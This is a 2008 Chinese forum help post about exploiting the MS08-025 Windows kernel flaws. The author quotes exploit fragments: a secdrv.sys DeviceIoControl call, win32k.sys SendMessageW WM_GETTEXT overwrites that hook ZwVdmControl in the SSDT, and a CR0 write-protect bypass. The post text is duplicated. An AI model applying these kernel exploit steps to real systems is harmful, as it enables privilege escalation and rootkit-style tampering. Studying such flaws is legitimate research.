-
-
[旧帖] [求助]关于ms08025的一些疑问? 0.00雪花
-
发表于: 2008-5-30 23:31 2807
-
最近了解了一下ms08025漏洞
资料分析知,在win32k.sys和secdrv.sys都存在漏洞
对于secdrv.sys具体分析见
http://blog.csdn.net/DryFisHH/archive/2007/12/19/1953024.aspx
两种exp方法我都试了,通过HOOK SSDT中一个不常用的函数ZwVdmControl,而且都成功了,
但是根据以往经验通过驱动HOOK SSDT,首先要
通过
mov eax ,cr0
and eax,0FFFEFFFF;
mov cr0,eax
去掉内存保护。
但这次却不需要??
此外
*(PDWORD)InputBuffer = 0x1;
*(PDWORD)((DWORD)InputBuffer + 0x4) = 0x96;//只有在 = 0x96 时HOOK才能成功!????,分析了一下secdrv,找到了出错的函数,但分析没有头绪!
DeviceIoControl( deviceHandle,0xca002813,InputBuffer,4,(PVOID)HookAddress,4,&dwReturnSize,NULL );
此外
再利用win32k.sys漏洞时,每次SendMessageW都会覆盖lpHookAddress指向的两个字节为0;
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, lpHookAddress );
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, lpHookAddress+0x2 );
//HookAddress =0x804E4150(ZwVdmControl()函数入口在SSDT中地址(xp sp2)
//ZwVdmControl()在SSDT中index为0x10c,所以可通过SSDT+4*010c计算其地址
两次SendMessageW()后,通过Windbg dd 0x804E4150 已被覆盖为0x0000 ,HOOK成功!
但通过通过IceSword观察SSDT,所有函数入口地址都被改变了???
应该只有ZwVdmControl()被hook!
资料分析知,在win32k.sys和secdrv.sys都存在漏洞
对于secdrv.sys具体分析见
http://blog.csdn.net/DryFisHH/archive/2007/12/19/1953024.aspx
两种exp方法我都试了,通过HOOK SSDT中一个不常用的函数ZwVdmControl,而且都成功了,
但是根据以往经验通过驱动HOOK SSDT,首先要
通过
mov eax ,cr0
and eax,0FFFEFFFF;
mov cr0,eax
去掉内存保护。
但这次却不需要??
此外
*(PDWORD)InputBuffer = 0x1;
*(PDWORD)((DWORD)InputBuffer + 0x4) = 0x96;//只有在 = 0x96 时HOOK才能成功!????,分析了一下secdrv,找到了出错的函数,但分析没有头绪!
DeviceIoControl( deviceHandle,0xca002813,InputBuffer,4,(PVOID)HookAddress,4,&dwReturnSize,NULL );
此外
再利用win32k.sys漏洞时,每次SendMessageW都会覆盖lpHookAddress指向的两个字节为0;
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, lpHookAddress );
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, lpHookAddress+0x2 );
//HookAddress =0x804E4150(ZwVdmControl()函数入口在SSDT中地址(xp sp2)
//ZwVdmControl()在SSDT中index为0x10c,所以可通过SSDT+4*010c计算其地址
两次SendMessageW()后,通过Windbg dd 0x804E4150 已被覆盖为0x0000 ,HOOK成功!
但通过通过IceSword观察SSDT,所有函数入口地址都被改变了???
应该只有ZwVdmControl()被hook!
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
看原图
赞赏
雪币:
留言: